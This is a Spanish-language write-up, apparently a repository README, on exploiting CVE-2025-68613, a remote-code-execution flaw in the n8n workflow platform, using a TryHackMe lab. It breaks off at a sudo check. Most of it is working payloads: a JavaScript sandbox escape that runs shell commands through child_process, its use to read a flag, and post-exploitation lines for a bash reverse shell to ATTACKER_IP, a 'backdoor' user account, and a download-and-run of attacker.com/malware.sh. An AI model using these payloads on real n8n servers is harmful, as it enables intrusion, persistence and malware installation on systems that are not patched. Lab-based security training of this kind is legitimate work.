
Guía educativa para explotar CVE-2025-68613, un RCE crítico en la automatización de flujos de trabajo n8n. Cubre inyección de expresiones, escape de sandbox, desarrollo de payload y estrategias de detección a través de un laboratorio TryHackMe.
Este repositorio documenta una explotación práctica de CVE-2025-68613 (CVSS 9.9), una vulnerabilidad crítica de ejecución remota de código que afecta a la plataforma de automatización de flujos de trabajo n8n (versiones 0.211.0 hasta 1.120.3).
Esta explotación se realizó éticamente en un entorno de laboratorio controlado de TryHackMe únicamente con fines educativos.
| Campo | Valor |
|---|---|
| ID CVE | CVE-2025-68613 |
| Puntuación CVSS | 9.9 (Crítica) |
| Publicada | 19 de diciembre de 2025 |
| Producto afectado | Plataforma de automatización de flujos de trabajo n8n |
| Tipo de vulnerabilidad | Inyección de expresiones → Escape de sandbox → RCE |
| Vector de ataque | Usuario autenticado (por defecto) |
| Versiones parcheadas | 1.120.4, 1.121.1, 1.122.0+ |
| Versiones afectadas | 0.211.0 - 1.120.3 |
n8n es una plataforma de automatización de flujos de trabajo de código abierto que permite a los usuarios conectar visualmente aplicaciones y servicios para la automatización de tareas. Incluye:
{{ }} evaluadas como JavaScriptLa vulnerabilidad reside en el sistema de evaluación de expresiones de flujo de trabajo de n8n. Cuando los usuarios autenticados configuran flujos de trabajo, su entrada se procesa como código JavaScript sin un sandbox adecuado.
Expression Sandbox
↓ (escape via 'this')
Node.js Global Context
↓ (access mainModule)
Module System (require)
↓ (load child_process)
System Command Execution
{{ }} se evalúan como JavaScript crudo sin un aislamiento de contexto adecuadothis permite escapar de las restricciones previstas del sandboxprocess.mainModule.require() proporciona acceso al sistema de módulos de Node.jschild_process para la ejecución de comandos del sistema(function(){
return this.process.mainModule.require('child_process').execSync('COMMAND').toString()
})()
Explicación:
this → Objeto global de Node.jsthis.process → Objeto de proceso de Node.jsprocess.mainModule → Módulo raíz de la aplicación n8n.require('child_process') → Carga el módulo de ejecución de comandos del sistema.execSync('COMMAND') → Ejecuta el comando de shell de forma síncrona.toString() → Convierte la salida del Buffer en una cadena legibleAcceda a la instancia vulnerable de n8n e inicie sesión con credenciales válidas.
Credenciales del laboratorio:
[email protected]Try12345!
Después de iniciar sesión, se le presenta la interfaz de creación de flujos de trabajo. Haga clic en "Start from scratch" para comenzar un nuevo flujo de trabajo.

Haga clic en "Add first step" y busque "Manual Trigger". Este nodo sirve como punto de entrada para la ejecución del flujo de trabajo.

Propósito: El nodo Manual Trigger permite la ejecución manual del flujo de trabajo mediante el botón "Execute workflow" de la interfaz, lo que lo hace ideal para pruebas.
Añada un nodo "Edit Fields" para realizar el mapeo de campos. Aquí es donde se explota la vulnerabilidad.

Pasos de configuración:
Inyecte el payload para ejecutar el comando id y obtener información del usuario/privilegios.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()
Resultado:
uid=1000(node) gid=1000(node) groups=1000(node)

Información obtenida:
Modifique el payload para ejecutar el comando ls y listar el contenido del directorio.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

La salida muestra:
flag.txtLea el archivo flag usando el comando cat para completar la explotación.
Payload:
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()
Flag obtenido:
THM{n8n_exposed_workflow}

Establezca acceso de shell interactivo para un control persistente:
(function(){
return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString()
})()
Añada un nuevo usuario del sistema para acceso persistente:
(function(){
return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString()
})()
Obtenga y ejecute código remoto:
(function(){
return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString()
})()
Compruebe los privilegios sudo: